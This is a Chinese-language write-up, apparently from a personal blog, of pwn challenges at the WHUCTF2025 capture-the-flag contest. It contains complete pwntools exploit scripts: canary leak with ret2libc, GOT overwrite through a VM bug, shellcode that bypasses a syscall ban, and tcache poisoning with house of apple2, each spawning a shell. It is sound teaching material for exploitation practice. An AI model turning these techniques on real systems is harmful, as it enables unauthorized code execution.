WHUCTF2025 pwn wp

repeater_handout

首先常规泄露canary,调试发现栈上存的返回地址是libc上的地址,可以用来leak libc。接下来常规ret2libc即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3

'''
author: powchan
time: 2025-03-29 09:15:01
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = "pwn_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.35-0ubuntu3.9/amd64/libc6_2.35-0ubuntu3.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "125.220.147.47"
port = 49216
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = "n\n"*33+'''
b *$rebase(0x1189)
b *$rebase(0x1209)
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.35-0ubuntu3.9/amd64/libc6-dbg_2.35-0ubuntu3.9_amd64/usr/lib/debug
set directories /home/zhangjuncpp/.config/cpwn/pkgs/2.35-0ubuntu3.9/amd64/glibc-source_2.35-0ubuntu3.9_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

io = start()
menu = b"choose your option: \n1. input\n2. repeat\n3. exit\n"
io.sendlineafter(menu, b"1")
pause()
io.send(b"a"*24+b"b")
io.sendlineafter(menu, b"2")
io.recvuntil(b"a"*24)
canary = u64(io.recv(8))-ord("b")
log.success(f"canary: {hex(canary)}")
io.sendlineafter(menu, b"1")
pause()
io.send(b"A"*24+p64(canary+ord("b"))+b"B"*8)
io.sendlineafter(menu, b"2")
io.recvuntil(b"B"*8)
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x29d90

pop_rdi = libc_base + 0x2a3e5
ret = pop_rdi + 1
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"c"*24 + p64(canary)+b"b"*8
payload += p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

io.sendlineafter(menu, b"1")
pause()
io.send(payload)
io.interactive()

ezvm

通过选项5和6的负溢出可以造成一定范围内地址读写,刚好可以读写到printf的got表项,利用vm中的运算指令,可以通过读取printf地址再根据偏移计算system地址的方式,覆写printf的got至system,再把printf输出的那个字符串修改成sh即可get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3

'''
author: powchan
time: 2025-03-29 09:07:59
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = "pwn_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.35-0ubuntu3.9/amd64/libc6_2.35-0ubuntu3.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "125.220.147.47"
port = 49304
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = "n\n"*32 + '''
b *$rebase(0x185c)
b *$rebase(0x19A1)
b *$rebase(0x12ae)
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.35-0ubuntu3.9/amd64/libc6-dbg_2.35-0ubuntu3.9_amd64/usr/lib/debug
set directories /home/zhangjuncpp/.config/cpwn/pkgs/2.35-0ubuntu3.9/amd64/glibc-source_2.35-0ubuntu3.9_all/usr/src/glibc/glibc-2.35
'''


"""
vm
output+0x80 -> strcat's str
output+0x40 储存size
size_sub1 -> size-1, 返回被删除的字符的指针

5 -> 负溢出
7 -> 末字符++
8 -> 末字符--
0x11,12 -> jump to
0x10, i负溢出
"""

log.success(f"filename: {hex(libc.sym["system"]-libc.sym["printf"])}")

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

io = start()

payload = b"\x01"+ p8(0x70)+ b"\x05"+p8(0x80)
payload += b"\x01\x07\x06\x81\x03"+b"\x05"+p8(0x81)
payload+= b"\x01\x01\x06\x82\x04"+b"\x05"+p8(0x82)
payload += b"\x01s"+ b"\x05"+p8(0x0)+ b"\x01h"+ b"\x05"+p8(0x1)

io.sendlineafter(b"input length: ", str(len(payload)).encode())
io.sendafter(b"input code: ", payload)
io.interactive()

shell_for_shell

给了shellcode,但寄存器全部清零,禁止输入syscall。由于没开pie,可以直接通过plt表调用函数(在shellcode里就是用call plt地址)。

解法1(重read)

这里调用mprotect修改当前内存段的权限为7并利用read函数重新读取shellcode来执行syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']

e = ELF("./pwn")
print(e.plt["mprotect"])
# io = process("./pwn")
io = gdb.debug("./pwn", """b main
b *(0x4011AF)
""")
# io = remote("125.220.147.47",49385)
shellcode = """mov rbp, 0x404500
mov rsp, rbp
lea r15, [rip+0xe00]
sub r15, 0xe16
mov rdi, r15
mov rsi, 0x1000
mov rdx, 0x7
mov rax, 0x401070
call rax
mov rsi, r15
add rsi, 0x86
mov rdi, 0
mov rdx, 0x100
mov rax, 0x401050
call rax
/* push syscall number */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax

"""
payload = b"\x00\xc0"+asm(shellcode)
print(payload)
io.send(payload)
pause()
io.send(asm("syscall"))
io.interactive()

解法2(自修改)

这里修改权限后自修改代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']

e = ELF("./pwn")
print(e.plt["mprotect"])
io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b *(0x4011AF)
# """)
# io = remote("125.220.147.47",49385)
shellcode = """mov rbp, 0x404500
mov rsp, rbp
lea r15, [rip+0xe00]
sub r15, 0xe16
mov rdi, r15
mov rsi, 0x1000
mov rdx, 0x7
mov rax, 0x401070
call rax
mov si, word ptr [r15 + 0x100]
add si, 0x101
mov word ptr [r15 + 0x100], si
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
"""
payload = (b"\x00\xc0"+asm(shellcode)).ljust(0x100-3, b"\x90")+b"\x0e\x04"

print(payload)
io.send(payload)
io.interactive()

shell_for_another_shell

和上一题一样,但开了pie,现在考虑利用fs寄存器泄露tls,进而泄露libc。拿到libc后我们可以通过environ变量获取栈帧地址,恢复栈帧,进而调用system函数get shell

为什么不用syscall

当我们使用syscall调用execve("/bin/sh", NULL, NULL)打远程时会发现远程打不通。我们认为这是远程环境使用busybox的原因。
如果你曾经调试过shellcraft生成的shellcode就会发现,它实际上会给execveargv传参,这样做之后远程也能正常打通了。这是因为busybox 是通过 argv[0]定位程序的,如果没有argv参数,busybox就不能识别功能,抛出applet not found错误。
可以参考busybox源码:https://elixir.bootlin.com/busybox/0.50/source/applets/busybox.c#L88

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3

'''
author: powchan
time: 2025-03-29 17:44:30
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = "pwn_patched"
host = "125.220.147.47"
port = 49521
elf = context.binary = ELF(filename)
libc = ELF("./libc.so.6")
print(libc.sym["system"])
gs = '''
b main
b *$rebase(0x11c3)
'''
def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

io = start()
#4 add r14, 0x29db4
shellcode = """
xor eax, eax
add r13, fs:0x0
lea r15, [rip]
sub r15, 0x15
add r13, 0x28c0
mov r14, r13
add r14, 0x222200
lea r14, [r14]
mov rbp, r14
mov rsp, r14
add r13, 0x40d70
add r13, 0x10000
xor rax, rax
mov rdi, r15
add rdi, 0x200
xor r15, r15
call r13
"""
slcode = asm(shellcode)
payload = (slcode).ljust(0x200-3, b"/")+ b"/bin/sh\x00"
print(payload)
io.send(payload)

io.interactive()

高版本内核下的新情况

在6.8版本内核中,tls和libc的偏移不再固定。考虑到2.35libc下只有一个syscall,我们可以通过在shellcode搜索syscall的字节码的方式定位libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3

'''
author: powchan
time: 2025-03-29 17:44:30
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

filename = "pwn"
host = "125.220.147.47"
port = 49398

elf = context.binary = ELF(filename)
gs = '''
b main
b *$rebase(0x11c3)
'''
def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

io = start()
#4 add r14, 0x29db4
shellcode = """
xor eax, eax
add r13, fs:0x0
lea r15, [rip+0xe00]
sub r15, 0xe15
sub r13, 0x740
add rdi, 0x040e
add rdi, 0x0101
xor rbx, rbx
loop:
mov rax, rbx
shl rax, 12
lea rcx, [r13+0x29db4-0x230000]
sub rcx, rax
cmp word ptr [rcx], di
nop
je found
nop
inc rbx
nop
jmp loop
nop
found:
mov r11, rcx
mov rdi, r15
add rdi, 0x200
xor rcx, rcx
xor rax, rax
xor rbx, rbx
xor r13, r13
xor r15, r15
add rax, 0x3b
jmp r11

"""
slcode = asm(shellcode)
payload = (slcode).ljust(0x200-3, b"\x90")+ b"/bin/sh\x00"
print(payload)
io.send(payload)

io.interactive()

heap

堆块大小无下限,也就是有tcache,还有非常巨大的堆溢出,直接tcache poison+house of apple2一把梭即可

tcache在libc2.32版本加入了指针异或保护,需要leak堆地址才能正常投毒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3

'''
author: powchan
time: 2025-03-30 09:50:01
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn"
libcname = "./libc.so.6"
host = "125.220.147.47"
port = 49470
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
b *(*main+32)
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)

menu = b'5.exit\n'
def add(idx, size):
io.sendlineafter(menu, b'1')
io.sendlineafter(b'Idx:\n', str(idx).encode())
io.sendlineafter(b'Size:\n', str(size).encode())

def show(idx):
io.sendlineafter(menu, b'2')
io.sendlineafter(b'Idx\n', str(idx).encode())
io.recvuntil(b'Content\n')

def free(idx):
io.sendlineafter(menu, b'3')
io.sendlineafter(b'Idx\n', str(idx).encode())

def edit(idx, content):
io.sendlineafter(menu, b'4')
io.sendlineafter(b'Idx\n', str(idx).encode())
io.sendafter(b'Content\n', content)

io = start()
add(0,0x10)
for i in range(7):
add(i+1, 0xf0)
add(8, 0x10)
add(9, 0xf0)
add(10, 0x10)
free(1)
edit(0, b"a"*0x20)
show(0)
io.recvuntil(b"a"*0x20)
key = u64(io.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
log.success(f"heap_base>>> {hex(heap_base)}")
edit(0, b"\x00"*0x18 + p64(0x101))
for i in range(6):
free(i+2)
free(9)
edit(8, b"a"*0x20)
show(8)
io.recvuntil(b"a"*0x20)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
log.success(f"libc_base>>> {hex(libc_base)}")
edit(8, b"\x00"*0x18 + p64(0x101))
for i in range(8):
add(i+1, 0xf0)
free(6)
free(7)
io_list_all = libc_base + libc.sym['_IO_list_all']
edit(0, b"\x00"*0x18 + p64(0x101) + p64((io_list_all)^key))
add(6, 0xf0)
add(1, 0xf0)
fake_io_addr = heap_base +0x13d0
edit(1, p64(fake_io_addr))
fake_io = flat(
{
0x0: b" sh",
0x28: libc_base + libc.sym["system"],
0xA0: fake_io_addr + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_io_addr+ 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc_base + libc.sym["_IO_wfile_jumps"], # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
edit(2, fake_io)

io.interactive()

WHUCTF2025 pwn wp
https://powchan.github.io.git/2025/03/31/WHUCTF2025-pwn-wp/
作者
powchan
发布于
2025年3月31日
许可协议